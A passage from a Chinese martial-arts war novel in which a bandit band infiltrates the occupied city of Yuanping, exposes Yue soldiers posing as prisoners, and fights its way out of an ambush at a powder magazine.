他的弟兄们都笑。看那串樾兵,有的脸上一副倒霉相,出声道:“我这次来也没杀楚人,现在不过是想找条路回家种地去。英雄就放了我吧!”还有的脸上全是激愤:“爷爷我纵横沙场,竟然落到你们这帮蟊贼手里,要杀要剐给个痛快!”还有人一声不响,不知心里在盘算着什么。 大嘴四先朝那激愤的嬉皮笑脸道:“哟,你已经当了爷爷么?果然纵横沙场久了,可知道夜路走多了迟早会遇到鬼么?何况你年岁大了,腿脚头脑都不好使,是该进棺材享享福了!” 那人气得瞪圆了眼睛,大嘴四还依然笑:“瞪,有本事把我瞪死,哈!” 猴老三看妻子在一边紧锁眉头,轻喝了一声:“老四,别没正经,先盘问盘问城里的状况!”虽是叫大嘴四,但自己已走上前来,手臂一晃,青磷磷的一条小蛇就变戏法般欺到了人跟前。他找那满脸哭相的下手:“快老实交代,你们这次又玩什么把戏!” 那苦脸的五官都皱一块儿了,道:“还玩把戏?唉!我从前在家种地,秋天挑了粮食去交给官府。那天我把一簸箕米倒进口袋里,我娘就教训我说,不可以‘倒米’,因为会‘倒霉’。我没听,结果进城就被拉去当兵,被派到这鬼地方,又咳嗽又拉肚子,现在将军也死了,我还被你们抓到……早知道就不倒米了!” 这人年纪尚轻,一副孩子气的模样,说起这翻话来颇叫人动容。猴老三都不好意思拿毒蛇吓唬人了。可辣仙姑乜斜着眼睛,觉得这太像是事先准备好的说辞。她推推丈夫,让他闪开一边,亲自上前道:“你要是能活着回家去,是不是就不‘倒米’了呀?” 年轻的兵丁赶忙点头:“女英雄要是肯放我回去,我要给女英雄立个长生牌位!” 辣仙姑嘿嘿笑道:“长生牌位我要来没用——而且,你逃了回去,我鬼知道你真是日夜供奉我,还是天天往我身上钉钉子,咒我不得好死呢?” 年轻兵丁变了颜色:“我怎么敢?” 辣仙姑道:“你有什么不敢?”说时,眼神陡然一变,手中多出了一把匕首,顶住了那士兵的咽喉:“你说谎话说得这么溜,却不知我天天和谎话帮的帮主打交道——你屁股一抬,姑奶奶就知道你要放什么屁,还不老实交代,你们将军打的什么鬼主意?” 年轻兵丁仿佛被吓愣了,张着嘴说不出话来。那满面激愤的就怒喝道:“死妖婆,将军就是被你们害死的,我就是变成厉鬼,也要杀了你们给将军报仇!”说着,不顾自己两臂被缚,扭动身子要撞向辣仙姑。 还是邱震霆把腰带一抖,劲力随着布条传了过去,振得每一个被俘的樾人都打了个趔趄。 “老五,你也别跟他们扯啦。”他道,“看样子那姓石的将军真见阎王去了,正是咱们帮程大人夺回远平城的大好机会——小子,我问你,现在远平城里什么个状况?” 那激愤的哇哇大叫:“想叫老子出卖自己人,做梦!” 而那年轻的就打着颤,战战兢兢道:“城……城里……一多半的人都拉肚子拉得没力气。前锋营的赵督尉说他替将军发号施令,但是还有一个岑总兵,是岑老将军的亲侄子,他不服赵督尉,两人吵得没完没了……眼下,只有请罗副将回来主持大局……不知道……我……我不去找罗副将,我也不想打仗了,英雄们放我走吧!”边说着,边跪了下来,向邱震霆等人碰头不止。他后面那激愤的气得抬脚踹他,大骂“叛徒”。 邱震霆大掌一挥,抓向那激愤者的胸口,凭他足以扛鼎的力气和铁塔般的身材,立时就把这人拎了起来。“你继续说。”他对那年轻的道,“你们几时派人去向姓罗的传信,姓罗的大概什么时候会来,都给我老实说明白了。” “是,是。”那年轻的边磕头边道,“今天中午就叫人出城去了,不过因怕他们跑了,所以后来又派了几批,我们这队应该是第五批了。罗副将是石将军最忠心的部下,一定看不过赵督尉和岑总兵瞎折腾,应该接到信就来的,我也不知几时……总要看前面的人到了没有吧。” 邱震霆听言,和弟兄们交换了一个眼色,意思是:罗满随时会到,要夺远平城,所剩的时间不多了。 “大哥,”辣仙姑凑到近前低声道,“你真的信他们?远平城里少说也有一万樾人,万一他们耍个诡计,咱们就成了瓮中之鳖了!” “话是这样……”邱震霆撇了撇嘴,很不喜欢被比喻成王八,“但是程大人把远平交给咱们,那就是看得起咱们。城是在咱们手里弄丢的,咱们无论如何得抢回来,才不辜负程大人的一番嘱托。”他看辣仙姑还是很忧虑的样子,就拍了拍她道:“老五你点子多。这次从头到尾的计划不都是你定的么?你说咱们人少,不能和樾人明着打,要先用各种法子把他们折腾垮了……” “现在不是已经把他们折腾垮了么?”猴老三讨好地笑道,看妻子面色严厉,又底气不足地添上一句:“就算没全垮,也垮了一半。娘子的功劳可大着……” “大哥,”辣仙姑打断丈夫的话,“樾人奸诈狡猾,兵力百倍于我们。没有十足的把握,我看还是不要进城的好。” 邱震霆望着这个足智多谋的手足:“呵,老五,是不是上次叫程大人整了一回胆子变小了?”他招呼几个小帮众把樾兵都押下去,自己抱着两臂透过密密层层的树林望向远平城的方向:“俺是个粗人,没有老五你计算得周详,不过俺觉得这是咱们夺回远平的大好时机,也是唯一的时机,我说几条,老五你看在不在理。”于是踱着步子,道:“第一条,樾军远道而来,被咱们用鹿群毒烟收拾了两回又有大半人载在咱们的泻药上——且不管那姓石的将军是真死还是假死,樾军现在元气大伤,士气估计也很低落。咱们正好一举击破——假如再等下去,也许他们的情形变得更糟糕,不消咱动手,就先死了个干净。那自然好得紧。不过,假如他们没死绝,剩下个三五千人,最后豁出去找咱拼命,咱就是有十条命也不够死的——而万一他们发现了泻药的秘密,又修养身子恢复了力气,咱们可就更麻烦了。” 辣仙姑想想,也有道理,就不做声。 邱震霆走了半个圈儿,继续道:“第二条,老五你常常跟大家说‘兵不厌诈’。俺这人是急性子,可这一回算是领教了什么是耐住性子弯过来绕过去地跟人使诈。樾人先出诡计架桥过来,咱们就想法子用鹿群和毒烟治他们;他们又趁咱们不备,钻空子占了远平城,咱们就利用那不走运的郡主和丫头探出了他们的虚实;他们放箭想杀了咱干净,咱就用泻药整得他们啥也做不了——现在他们或者是真的要去山下找姓罗的来,或者就是想骗咱们大剌剌进城去自寻死路——不管是哪一条,只要咱们先想出对付他们的法子,又不叫他们猜到咱的心思,那就大功告成啦!” 杀鹿帮的弟兄们都知道,邱震霆虽然看起来是个空有蛮力的武夫,但办起事情来常有意想不到的妙计。只不过,他平日里大大咧咧,很少把一个计划的前因后果叙述得如此井井有条,所以大家都以为他纵横江湖乃是靠着打混多年的经验,临到头上,只消顺着性子做,就一定事半功倍,很少有人注意到他的重大决定其实都经过反复的思考,周详的计划——如今听他这样分析,才意识到他的谋略并不在辣仙姑之下。 辣仙姑见大哥深思熟虑,自己的担心倒真显得有点儿“畏首畏尾”,笑了笑,道:“大哥这样说,是不是已经有了计策?” 邱震霆眯起眼睛:“嘿嘿,那是当然。抓这伙龟儿子回来的时候,俺想到一条妙计——” 15. 第 15 章 杀鹿帮的人到远平城下时天还亮着。这是这场战争开始以来难得的一个晴天,晚霞淡淡地衬在城后,无风,一切显得宁谧——城楼上没有一个守军的身影。 邱震霆、管不着、大嘴四都被五花大绑着,另有几个小帮众满面哭丧地抬着两顶木柴搭成的简易轿子,上面分别坐着愉郡主和娇荇,皆昏迷不醒。押着他们一行的都穿楚军服饰,领路的正是先前抓去的那个年轻兵丁。 城门洞开着。一众人等走进去,并无人盘问。过了好远,才撞见一个行色匆匆的兵丁。年轻兵丁忙迎上去。 那匆忙的一愣:“干什——哟,你……你怎么在这里?不是叫你去找罗副将么?这……这又是……”他指着杀鹿帮的一群人。 年轻的笑得勉强:“弟兄们本来打算逃走拉倒,不想遇到了这伙楚国奸细,交手之下,竟把他们都抓住了。” “是么?”匆忙的不疑有他,看看愉郡主就娇荇,“那两个又是什么人?” 年轻的道:“说是赵王爷家的郡主。” “有这种事?”匆忙的眼睛滴溜溜转,仔细打量。 “我没见过郡主,怎晓得?”年轻的道,“不过,逃兵是大罪,就算真的逃成了,也有家归不得。要是救了郡主就不一样了。管是真假,我且回来试试。即使弄错了,这几个楚国奸细总能用来将功抵过。他们已交代了,毒烟是他们放的,泻药也是他们下的。把他们交给赵督尉,总算是找到了害惨大家的祸首。” 那匆忙的冷冷一笑:“害惨大家的是玉旒云——即使要说害死石将军的凶手,你指望赵督尉真的想给石将军报仇?若石将军不死,他怎么得着机会坐上这位子?只我这做亲随的才知道他心里打的什么主意,哼——不过,谁也知道,石将军就是玉旒云的胳膊,赵督尉若能活着回去,且想坐稳了这个位子,非得给玉旒云一个交代不可。” “恩。”那年轻的点着头,但神色有点儿慌张。 匆忙的仿佛仍不觉察,还接着道:“我是死也不跟赵督尉的。石将军待我不薄,怎么也得替他把这一仗打完。” “哦。”年轻的讷讷,回头看旁人。 有个兵丁打扮的就四下里望望,道:“其他人都到哪里去了?” 那匆忙的又是一声冷笑:“还能去哪里?都是些没良心的家伙——你们想逃就逃吧,我去找罗副将。”说罢,径自去了。 “狗儿!”待那人走远了邱震霆才喝道,“不要多嘴!” 狗儿,假扮成士兵的,就做个鬼脸嘻嘻笑道:“能套出点儿消息总是好事。再说,一声不吭反而遭人怀疑。” 邱震霆瞪他一眼:“你不出声俺也晓得你脑瓜子有几斤几两。” 狗儿讪笑着:“我的脑瓜子能有大哥的十分之一就很了不得了——而这些樾人的脑瓜子连狗儿的十分之一都不到。大哥不必怕他们耍花样啦。你看这小子多老实!”说着,踢了那带头的士兵一脚——原来只有他一个是被胁迫来领路的,其余的兵士都是杀鹿帮帮众假扮。狗儿道:“樾人穿楚人的衣裳扮楚人骗楚人,咱们穿上楚人的衣裳扮扮成楚人的樾人骗扮成楚人的樾人——哈,九曲十八弯,狗儿的舌头都绕不过来了,何况樾人的脑筋?” 他说得这样滑稽,邱震霆也舍不得发火,笑骂了一句:“你这小狗崽子,俺只见狗尾巴灵活,不晓得狗舌头也这样厉害!” 狗儿嘿嘿地笑。 邱震霆却不理他了,只死死地盯着那年轻樾兵的脸,要看看有没有破绽。大嘴四瞧出了大哥的用意,也上来端详了一番。那兵丁被他们看得瑟瑟发抖。 大嘴四笑道:“好啦,大哥。说谎骗人,我认第二,没人敢认第一。这小子一副熊样,使不出诈来——他就不怕咱一人一脚把他踹死么?正事要紧。” 邱震霆自然也知道已行到了这一步,决不可能预测敌人一切的行动,只有随机应变。当下点点头,叫众人立刻按计划行事。 先是叫那年轻的兵丁带他们去寻被俘的楚军。 远平城并不住百姓,全为驻军而建,所以道路横是横,竖是竖,且修得宽窄一般,两边房屋多是军营,偶尔有库房、演武房、医馆。不过因为元酆帝挥霍无度,房舍都年久失修,屋顶上长出了茅草,窗户也多破败。当天色渐渐黑下来时,没有一间屋里点灯的,黑黢黢迫在道路两侧,好像随时会压下来。 杀鹿帮众人边走边提防,怕那黑暗里潜伏了樾军。不过,似乎先前那匆匆离去的兵丁所说的是真的,这附近的樾军似乎作鸟兽散跑了个精光,四周一点儿动静也没有。只有远远的,游记将军府方向才有些轻微的喧闹声。 走到城的极北面,已经可以听到外面大青河飞龙峡哗哗的水声。 年轻的兵丁停了下来,道:“那就是地牢的入口啦。各位英雄,求你们放了我吧!” 众人顺他所指看去,在城墙隐入金鼎峰山体的地方有一个一丈见方的洞,看洞口如此平整就知是人工开凿而成。若由此向下,不知通到何处。 白鹿山虽外面有土,内中却是石头,杀鹿帮的人曾经想凿间石室藏匿财宝,但花尽力气也没开出一方土石来,只得放弃。楚军当年做此工程,不知耗费金钱人力几何?此城在楚国开国时已在,其时盛世可想而知。 邱震霆等人不是文人士大夫,自然没有许多感慨,将身上伪装用的绳子松开后,只把眼打量了一下这黑得伸手不见五指的山洞。管不着先开口了,语气阴阴的:“放你?我怎么知道你不会等咱一进去,就在外面把洞口给堵上?”他上次被公孙天成“请君入瓮”,现在学了乖。 兵丁拖着哭腔:“英雄,我的小命就在你们手里,我哪儿有那个胆?就算我有,这么大一个洞,我怎么堵得上?” 这话虽然有理,但谨慎起见管不着还是把那兵丁的后领一拎:“放你也不难,跟咱们下去,大事一成,随你上哪儿!”说着,往怀里一摸,掏出个雀卵大小的夜明珠来,蓝盈盈一团光,仿佛天上的明星落在了他的手中,顷刻把周遭两丈方圆的地方照得雪亮。 大家都识得,这是他早年在京中做飞贼时所得的宝物,除了买弄献宝时,平日轻易不肯拿出来。这时倒正好派上用场。 邱震霆吩咐仍把愉郡主和娇荇带着,以防万一。自领众人走进那山洞中。 通往地下一带台阶,凿得十分整齐,更因山内潮湿,为防滑倒,台阶上都保留了羽毛图样的凿痕。众人走来不甚吃力,就连管不着手里拎了一个人,以及另两个帮众各自负着愉郡主和娇荇,也依然健步如飞。 不时,就到了最底,但看四周,并不见有人。管不着就逼视着年轻兵丁道:“在哪里?” 年轻兵丁道:“我怎知道?我也不是守牢的……”才说完,便听一声:“什么人?” 这声不高,简直虚无缥缈,可是是一遍遍的回声,就好像四面八方都有人一样。杀鹿帮的人一时全握住了兵器。 “是什么人?”那声音又问。 这次,邱震霆辨准了方向,示意弟兄们稍待,自己按刀朝发声的地方走去。不过十来步,见一块巨石挡在面前,绕到其后一看,立刻就见到铁栅了。在夜明珠的光照下,依稀可见铁栅后一张张面孔,多是憔悴颓丧的,也有义愤填膺的,但骤然见到他,都露出了惊讶之色。先前那发话的声音又问:“你是谁?” 邱震霆看此人,身材瘦削,面色苍白,乱发遮蔽的面孔还可辨出一丝南人的清秀,而他说的话绵里带糯,决不是北地口音,于是把心里的疑虑消了三分,问道:“你又是谁?” 那人脖子梗了梗:“我乃远平游击将军。你看来不是樾寇——不,樾寇奸猾!士可杀不可辱,你想要我等叛国,断然不可!” 官腔十足,倒似冷千山!邱震霆将怀疑又消了两分:“你连城都丢了,还威风什么?保不了国就叛国也没什么差别!” 那游击将军面色一沉,好像极愤怒,一时竟想不出话来,半晌,才打着颤道:“你……无知小民懂得什么?不能在沙场上为国捐躯,至少要在刑场上慷慨就义。人之力有大小,樾寇之力大于我,而程大人之力大于樾寇,是以我不能保国,而程大人能保。但我报国之心与程大人无异,我……” 说话弯来绕去,这书生十足讨厌,难怪丢了城池。不过程亦风不也是书生么?怎地人家就有能耐?邱震霆不想再罗唣下去,走上两步道:“程大人叫俺来帮你守城,怎想到俺才一眨巴眼睛,你已经把城给丢了。回头程大人查问起来,俺也丢人得紧。俺现在放你出去……” “什么?”那游击将军几乎把全天下的惊讶都挪到自己的脸上,“你……你放我们出去?那樾寇呢?你们……你们怎么进来的?” 邱震霆不耐烦:“你这蠢材,讲给你听你也不懂。总之你既然是游击将军,将军府那边的情形你应该熟悉——兵器库在哪儿,粮草库在那儿,火药库在哪儿,你给俺全指出来。俺也不算白信你一回。” “这……”那游击将军似乎有点儿犹豫。后面一人凑到他耳边轻轻说了几句。他面色变化着,复杂难以解读,但终于又把脖子一梗,道:“哼,我堂堂游击将军,怎能上你的当?程大人从来没说过有援军帮我守城。你必是樾寇假扮!” “你奶奶个熊!”邱震霆简直被激得跳起来,“若不是答应了程大人,老子好好的山大王不做,来干这档子折本生意?他奶奶的,楚国要亡,没你们还真不行!” “哧”,人丛里似乎发出一声笑。邱震霆心里凛了凛,再听,原来是监牢里有人在打鼾。战局到了这种地步还有心思睡觉,这国家要是没有程大人大概早也完了! 时间紧迫,他不与那满口大道理的游击将军计较,从怀里掏出一封文书来,又唤管不着:“老二,给个亮!” 夜明珠的光亮下,他把文书展开,上面写着:“务请贵帮诸义士助守远平城,如守将有疑,请以程某兵符示之。”下面盖着“兵部尚书印”。邱震霆待游击将军读完了,又从腰里取下一个小鹿皮袋子来,里面半只朱漆木老虎,剖面上刻着“兵部,远平驻防”。这果然就是虎符了,另一半应在这位远平游击将军手中。 他满面讶然,似乎不敢相信自己的眼睛。周遭那些被囚禁的士兵也都纷纷凑上来,看看文书,看看邱震霆,再看看他手里的兵符,那神色,仿佛都在说:兵部尚书竟派了个山贼土匪来?他又是怎么料定咱们守不住这城呢? 邱震霆复又把兵符收起,招呼管不着:“老二,看看你妙手空空的本事。” 管不着听言笑了笑,将夜明珠拿在左右,右手到发髻里一抽,拔出根奇形怪状的簪子来,在牢锁上轻轻一捅,竟比钥匙还便捷,“喀啦”一声,锁就掉落了下来。见监牢中众人傻愣愣地看着他,管不着皱着眉头,厌恶地把牢门拉开:“各位军爷,各位大人,难道还要草民请你们出来么?”囚犯们这才反应了过来,那游击将军带头,先一个跟一个朝外走,到后来就争先恐后,一拥而出。 石阶前的那点空地站不下所有的囚犯,邱震霆让大嘴四和帮众们先走,接着游击将军和两个亲随模样的人带了众囚犯鱼贯而出,他自己和管不着断后。大约总花了一顿饭的光景,所有人才都回到了地面上。邱震霆大略估计,这俘虏有三五百人——远平的守军怎么也得好几千,他想,其他的莫非都被樾人杀尽了么?奶奶的,难怪都要叫他们“樾寇”,果然连我们这些强盗都不如! 游击将军又在几个亲随的簇拥下走了过来:“义士,现在是要去将军府么?” 邱震霆点点头:“你带路。咱先上火药库,把火药、火油搬上一些,远远把樾寇住的那一片都围了,放一把火,把他们都烤熟。” 他强盗出身,虽然做的是劫富济贫的功德,但遇到贪官污吏时,少不得用上烧杀劫掠的手段,是以如今他只计算着如何击败樾人,并不顾念火烧之后远平就成为一座废城。那游击将军当然面露犹豫之色,跟身边的亲随们交换个眼神,有个亲随附耳低语几句,他听了,就道:“好吧……不过……不过……算了,就依你……” 既匹夫又婆妈,邱震霆跟他多说一句都嫌烦,本来自己有程亦风的兵符在手,所来就是传达兵部尚书的号令,行事也不必征求游击将军的意见。当下,让游击将军带路,人马浩浩荡荡也静悄悄地朝将军府方向潜行。 将军府位在城中央,火药库,照这游击将军所说,犹在其东。当众人渐渐靠近将军府时,就可看到零落是一些房舍中亮着灯光,表示樾军仍在。众人为免节外生枝,便往黑暗的街巷里绕行。虽然道路远了,但顺畅,所以并没有多花很多工夫,就停在了一座没有窗户在大屋之前——火药怕潮,故尔不能让大青河上带着水气的风吹过,又为防地底湿气上渗,房子修成西瑶“吊角楼”的样子,地板与地面之间用木桩架成中空。邱震霆等人都是第一次见到,好生稀奇。游击将军上台阶推开了房门,浓重的硫磺味就扑鼻而来。 邱震霆道:“好。”因不能大声发号施令,就要那游击将军派他的亲随交代下去:每人进去拿上火药、火油,能拿多少拿多少,之后仍上门前来集合。 游击将军唯唯连声不敢有半点违背,旁边那亲随早听见指令了,不用交代第二回,已把意思一个个人向后传,没多时,那群看起来憔悴狼狈的兵丁就都进了火药库内,只剩游击将军和两个亲随而已。 有杀鹿帮的帮众捋起袖子也欲进去帮忙,被邱震霆笑嘻嘻拦住:“难得咱们也支使军爷们做点儿事,这种饱眼福的机会说不准一辈子就一回哩,还不跟俺学学,都抄着手,享享福?” 那杀鹿帮帮众疑心大当家是开玩笑,但感到邱震霆压在自己肩膀上的一只手是使了全力的,让人根本动弹不得,不禁狐疑地望了他一眼。但只这一眨眼的功夫,邱震霆已经放开他了,乐呵呵踱到游击将军的跟前,道:“俺虽然自称是山大王,手底下的人马不过一百多,你就让我过过瘾吧!” 游击将军笑得很难看:“那是当然。” 邱震霆摸了摸下巴,继续道:“还不光是人多好过瘾。其实俺的弟兄们常常跟俺找麻烦,赌钱喝酒抢女人,有时真闹得我睡不了觉。你的倒好,虽然打起仗来八成是草包,但话不多。不知你是怎么管束他们的?” 这紧要的时候,谁知他竟讲起不着边际的事来了,游击将军有些莫名其妙,偷眼看看,不禁吓了一跳——在这种满是火药的库房门口,邱震霆怎么打起火折子来了? “义……义士你……” 才说这一句,冷不防邱震霆一脚把他踢翻在地,踏住了,道:“你奶奶的,兔崽子还想骗老子到几时?” “喂,你——”旁边几个士兵扑上来要推开邱震霆,也被“蓬蓬”两下踢飞:“就你们那点儿三脚猫的功夫还想跟老子打?”他哈哈大笑着冲火药库里喊道:“他奶奶的当老子是白痴么?樾人兔崽子,你们就等着做烤兔子吧!” 他猜的没错。这些所谓的俘虏除了那游击将军是楚人的书记官以外,其余的都是樾军所扮。 按照石梦泉的原计划,假扮俘虏的将士们要跟着上钩的奸细,捣毁他们的老巢。不过邱震霆突然提出要放火烧城,着实令领队的赵酋慌乱了一番。不过,走到火药库门口时,他又想出了对策。 命令从一个士兵传到另一个士兵,隐秘又迅速:他们拿上火药、火油,将计就计,出得门来就把杀鹿帮的人都围上泼火油,到时,谅这些强盗再有天大的本事,神乎其神的武功,也快不过火折子打火——若敌人投降,他们就活捉;若敌人顽抗,就一把火“把他们都烤熟”,邱震霆必想不到,自己的一句话将成为死亡的预兆! 大家的动作都很快,没一刻就已经各自拿了火药、火油。赵酋轻声指示一队人先出去假意听从邱震霆的指挥,实际列队于北面,阻断其后路,而第二队、第三队士兵就要分别站在通往东、西面的路口,防止贼人逃窜,最后他将带领第四队人出来,把守南面,同时也是火药库的门前,务必把邱震霆一行逼得里仓库有一段距离才泼火油,否则引燃火药库,后果不堪设想。 各队的队长离他最近,听明白了就向后传话。可偏偏这个时候,听到外面邱震霆的狂笑——计划已经败露了! 越是紧要关头越是要镇定,赵酋在落雁谷亲见了玉旒云的冷静。心里转过了无数的念头:既已暴露,就不能不战,但如果就此撕破了脸来,这里就要化为一片火海。他大步走到火药库门前,把戏继续做下去:“为什么挟持将军?” “哟,终于舍得说话了?”邱震霆嘿嘿笑,“俺还以为你们全军上下都是哑巴,原来全是樾国蛮夷!老子一路上越想越不对——程大人叫老子来帮你们守城,可没叫老子来烧城。老子正想,这会不会坏了程大人的大事,不过一想,你们这帮龟儿子怎没一个担心的,好像比老子还性急,巴不得立刻把城烧了呢——哈哈,老子试你们一试,果然他妈的都不是好东西!” 赵酋不得不挑明了,冷冷一笑:“乌合之众也敢不自量力?你快快投降,我或许还保你继续做你的山大王。” 邱震霆哈哈大笑道:“俺做俺的山大王,连楚国皇帝都管不着俺,轮到你这鞑子来废话?不如你快快投降,俺收到俺的山寨养狗,怎样?” 受此大辱,赵酋不禁怒火中烧,看邱震霆仰天大笑疏于防范,就将手中所捧的火油一泼:“蟊贼,受死吧!” 邱震霆大惊,连忙向后疾纵,但毕竟还是慢了些,火折子溅上了油星,烫得他不得不松手。而那一桶火油都泼在那倒霉的书记官身上,火折子落下,他整个人立刻化为一团熊熊烈焰,先还扭动着,发出声声惨叫,但没一刻叫声就小下去,消失了,一命呜呼。 赵酋见邱震庭一时没有火折子在手,失了威胁,即两手一挥:“把他们给我围了!” 众士兵听令,“哒哒哒”由火药库里按序奔出,眨眼的功夫,已照先前吩咐的东西南北四面围住,人人手持火油火药,只待赵酋一声令下,就将杀鹿帮众人处死。 赵酋静静的,未立刻下令,想给这伙强盗最后一个机会——也许他们知道程亦风的全盘计划,若能套问出来,对这次战役有莫大的帮助。 可偏这一耽搁的功夫,大嘴四在圈中啧啧一笑:“有本事你就烧。咱有这两个如花似玉的丫头陪着死,到了阴曹地府,就把她两个送给阎王爷做小老婆,阎王爷一开心,多给咱一百年阳寿,咱就回来剐了你这个装模作样的鞑子!” 赵酋可不受他威胁:“死到临头还敢威胁于我,泼油——” “督尉!”圈中有人疾呼,正是那被抓来带路的樾军年轻士兵。其实石梦泉为使敌人相信自己已死,派出许多兵士散布谣言。不过,他恐怕有些兵士经验不足,或应变太慢,欺骗不了敌人,又怕还有些兵士意志不强,一旦落到敌人之手,受了折磨就将计划泄露,所以派出之人多是自己熟悉的旧部或亲随。这个装成哭丧脸的兵丁便是石梦泉的亲随之一。他到过南方七郡督粮,见过愉郡主,所以知道杀鹿帮手里掌握的真是金枝玉叶,赵酋若卤莽行事,必然酿成大祸。他因叫道:“真是赵王府郡主被强盗绑架了,赵督尉快救驾!” 赵酋一愕,看大嘴四身后两名杀鹿帮的帮众各背负一个女子,面目瞧不清楚,也不知死活。莫非真是赵王爷的千金? 大嘴四见他犹豫,呵呵笑道:“这两个丫头几天来在咱山寨连吃带喝,可花了咱们不少口粮,若不在她们身上连本带利赚回来,实在对不起全帮上下的弟兄。这位军爷,你是个发号施令的,你看咱们该拿点儿什么报酬才公道?” 赵酋被气得七窍生烟,习惯性地要拔配刀,但手摸到腰侧才记起为了假扮楚军俘虏,不曾将兵器带在身边。正火冒三丈,岑远不知从哪里蹿了出来。“你怎么来了?”他问。 “我不来,难道你们能成事?”岑远边说,边拎起一罐火油朝大嘴四掷了过去。 大嘴四三寸不烂之舌虽然厉害,武功却只是寻常,本来正得意洋洋地想把对手气到吐血,谁料竟有此一变?他眼见着油罐子就要砸到自己脑门上了,避也避不及,只好仗着一双铁拳还算硬,便抬起来护住面门。只听“喀啦”一声,油罐四分五裂,火油淋了他满头满脸。 “他娘的,敢暗算爷爷——” 大嘴四骂声未落,那边岑远又生另一狠计——朝地上兀自燃烧的楚军书记官的尸骸飞起一脚,一团火焰便“嗖”地朝大嘴四射去。 大嘴四这次可真的成了“大嘴”,惊得下巴掉到了胸口上,躲都不会躲了,心底只一个声音:完了! 而说时迟那时快,邱震霆和身扑上,右手握着刀柄,左手拉住刀尖一弹,“嗡”地一响,震得人耳鼓轰鸣,而那金背大砍刀的刀身不偏不倚就打在了火团上。张牙舞爪的火焰立时转了向。众人还未反应过来,已经落在了西面防守的樾军之中。登时“轰”地一声巨响,那边化作一片火海。 情势立刻扭转,西面的樾兵有的当场血肉横飞,有的身上着了火,嗷嗷叫着在地上打滚,还有的不知所措,生怕自己也葬身烈火之中,都闪开一旁去。这就打开了一个缺口。 邱震霆清楚,现在的情形,已不可再恋战,如此火光冲天,其余的樾军不时就会赶来,到时敌众我寡,就成了人家砧板上的肉了。他便想招呼众弟兄从那缺口出撤离。可细看那通路虽有四、五尺宽,那火舌时吞时吐,甚是危险,大嘴四这样满身火油,恐怕难以安然通过。 唯有另外杀出一条退路了!他将大刀一挥,扑向南面。 那边守卫的樾军见他骁勇,都先怯了三分,有的已不自觉地朝两旁闪开。岑远看在眼里,厉喝道:“守住了!他们不敢点火,都烧着了他们也跑不掉!这是大家立功的好机会!”边喊,边从另一个士兵手里夺过一罐火油来,又朝杀鹿帮中人掷了过去。 这次他的目标的管不着。但岂料这神偷的手上功夫非常人所能及,右手轻轻一晃,已将油罐子稳稳托在掌中。赵酋愣了愣,又掷第二罐。管不着不慌不忙,这次伸左手一揽,又将油罐子拿了下来。 “好!”岑远冷笑,“我倒看看你有几只手!”说着,地势那罐油又飞了过去。 管不着笑嘻嘻:“我是个贼,当然有三只手。”说话时,将前两罐油放到地上,来接这第三罐——这几个动作看来从容不迫,但其实在眨眼的工夫就完成了。岑远第四、第五罐油接连扔来,他就且接且放,不多时,身边已堆了一圈火油,自己的衣服上却连一点儿油星也没溅着。杀鹿帮帮众士气大振,有人高声叫好:“二哥,气死这些龟儿子!” 管不着甚为得意,但不料那边赵酋“哼”地冷笑道:“天堂有路你不走,地狱无门你闯进来——你要自掘坟墓,可怪不得我!”说时,抬脚将书记官的尸身再次一踢,这一回,整个燃烧的头颅滴溜溜朝管不着滚了过去。 管不着才也发觉自己大意,忙纵身跃出油罐圈来,伸足一铲,将那带火的头颅又朝赵酋踢了回去。赵酋知道自己身后是火药库,哪里敢怠慢,看准头颅的来势,一脚将其挑到半空,又伸另一足横扫一腿,就将之朝大嘴四的身上打了过去。 大嘴四现在可是名副其实的“一点就着”,连忙闪开。他旁边的邱震庭看到了,挥刀抽了一家伙,就把这头颅打到东面的樾军中去了。还好这次樾军反应得快,早早就朝四下里散开,头颅落地后,他们又纷纷上前用脚踏灭,所以并没有酿成大祸。 赵酋见这些人着实有些武功,若被他们杀开缺口,单打独斗起来,樾军占不得丝毫便宜。但,战场毕竟不是江湖,不论道义,只讲输赢。他一定不能让这些土匪走脱。即喝令将士:“不要顾忌,朝他们淋火油,他们跑不了的。他们也怕死的!” 士兵先都应了,可又犹豫:不是说郡主在圈里么? 大嘴四看出众人的心思,便攻其弱点。把愉郡主朝自己背上一背,道:“他娘的,反正爷爷已经满身油了,谁要点火,就让这丫头给爷爷陪葬——反正爷爷还没娶老婆,弄个郡主到阴间给我捶腿洗脚也不算亏本!” 赵酋现在的想法,并不是真要点火,只要能慢慢地缩小包围圈,杀鹿帮的人也想求生,应该不会引火自焚,樾军本有几倍于他们的人数,再困得他们一时半刻,弓箭手赶来,则可以将这群乌合之众击毙。 可是,这样危急的时刻,他却无法将这计划告诉给四围的士兵知道。众士兵的心里想的可不是这么一回事。他们眼见着西边的战友遭遇不测,晓得杀鹿帮中人都身手了得,而大嘴四方才的话就像是豁不出要与人同归于尽了——这些人分明是亡命之徒。赵酋竟然连郡主的安危都不顾,更哪还会把将士们的生命放在眼中?想石梦泉爱惜士兵如自己的手足,他指挥时,除非逼不得已,决不叫士兵犯险,而遇到艰难险阻,又总是自己身先士卒……如今石梦泉才病倒,赵酋怎么就和那个自以为是的岑远连成一气,让大家去送死? 起了这样的心思,士兵们的戒备就不免懈怠了。大嘴四这种靠说谎话闯荡江湖的人原本就最识得攻心之术,善于解读别人的表情举动以找到弱点。他看士兵犹疑不前,且后面人丛中仿佛还有交头接耳,就大略猜出了原委。当下,他甩开大步朝南面冲去,口中哇哇嚷道:“来!点火呀!点呀!他奶奶的,老子拖着郡主一起已经够本,其他都是赚的!来呀!” 士兵们被他这样一吓,果然都不自主地朝两边散开。邱震霆即招呼中弟兄:快撤!杀鹿帮众人便边跑边拼杀,樾军的缺口因越来越大。任赵酋再怎么呼喝,也无济于事。没得多少时候,杀鹿帮众人已然冲到了圈外。 这时,断后的邱震霆停住了脚步:“老二,你带大家先走。俺回去把这城炸飞,也不算白来一趟!”说着,挥刀又向回杀。 管不着知道大哥决定的事难以改变,而凭着邱震霆的功夫,千军万马也如无人之境,必不至遭遇不测,因号令众弟兄全速朝城门口撤退。只是,还没有跑出百丈远,但听得西边的街道“的的的”一阵马蹄声,跟着东边的街道也被人踏得一阵山响。他们再跑出十数丈,看迎面也来了一支队伍,为首骑马的正是石梦泉。 石梦泉装死,这事他们早也猜个大差不离,所以才步步小心,识破赵酋的计策。这时见他前来,也没有十分惊奇。管不着唤了声:“大家莫慌,郡主在咱们手里,樾人龟儿子不敢胡来!”自己已拉开了架势,准备一战。 